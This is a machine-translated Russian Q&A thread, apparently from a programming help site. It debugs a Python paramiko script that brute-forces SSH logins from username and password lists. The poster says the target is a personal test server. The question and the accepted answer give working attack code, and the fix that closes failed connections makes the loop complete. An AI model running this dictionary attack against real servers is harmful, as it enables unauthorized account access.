2016-03-21 8 views
0

У меня есть SSH-сервер, в котором я тестировал скрипт, который использует атаки на основе словаря. Как правило, я использую одно имя пользователя: файл комбинации паролей и прокручиваю его, но в последнее время я решил изменить свой сценарий хобби, чтобы разрешить отдельные комбинации имени пользователя и пароля. Я решил, что это будет простой вложенный цикл (я решил хранить пароли в списке вместо файла, который я использую для имен пользователей). К сожалению, добавление второго цикла, по-видимому, вызвало зависание программы по какой-то причине, которую я просто не могу определить. Я чувствую, что мне не хватает чего-то невероятно очевидного здесь. Программа выполняется нормально и работает так, как ожидалось, но она никогда не возвращается на самом деле ... скрипт просто зависает после нахождения правильной комбинации и никогда не выходит из строя ... Я должен закончить его вручную. Оскорбительный блок ниже ... это часть более крупного метода внутри класса, который я вызываю из моего основного скрипта. Вызывается метод, а затем главный скрипт просто выходит, поэтому нет ничего, что могло бы вызвать это.Сценарий Python, кажется, висит

with open(self.pwds) as p: 
    pwords = p.read().splitlines() 
    try: 
     format_text = colored('WARNING', 'yellow', attrs=['underline']) 
    except: 
     format_text = "WARNING" 
    print (format_text, "warning_message") 
    with open(self.words) as w: 
     for line in w: 
      line = line.replace("\n", "") 
      user = line 
      for x in pwords: 
       passw = x 
       print ("Trying: ", user, ":", passw) 
       s = paramiko.SSHClient() 
       s.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 
       try: 
        s.connect(self.target, username=user, password=passw, timeout=3) 
       except paramiko.ssh_exception.AuthenticationException: 
        try: 
         format_text = colored('FAILED', 'red') 
        except: 
         format_text = 'FAILED' 
         print (format_text) 
       else: 
        print ("SUCCESS!") 
        s.close() 
        return; 
+0

Единственный сценарий, который я вижу, в котором единственный оператор return, который мы видим, не будет выполнен, заключается в том, что 'self.words' или' self.pwds' указывает на пустой файл. –

+0

Они этого не делают и никогда не делают. Я действительно царапаю себе голову, особенно потому, что он отлично работает и прекрасно заканчивается без внутреннего цикла. –

+0

Попробуйте использовать pdb. У этого вопроса, к сожалению, недостаточно информации для нас, чтобы иметь возможность ответить на него. –

ответ

0

Спасибо всем за попытки решить эту проблему. Я нашел ответ. Мне нужно было закрыть соединение SSH даже при сбое, как указано ниже.

   try: 
        s.connect(self.target, username=user, password=passw, timeout=3) 
       except paramiko.ssh_exception.AuthenticationException: 
        try: 
         format_text = colored('FAILED', 'red') 
        except: 
         format_text = 'FAILED' 
         print (format_text) 
         s.close() 
       else: 
        print ("SUCCESS!") 
        s.close() 
        return; 
Смежные вопросы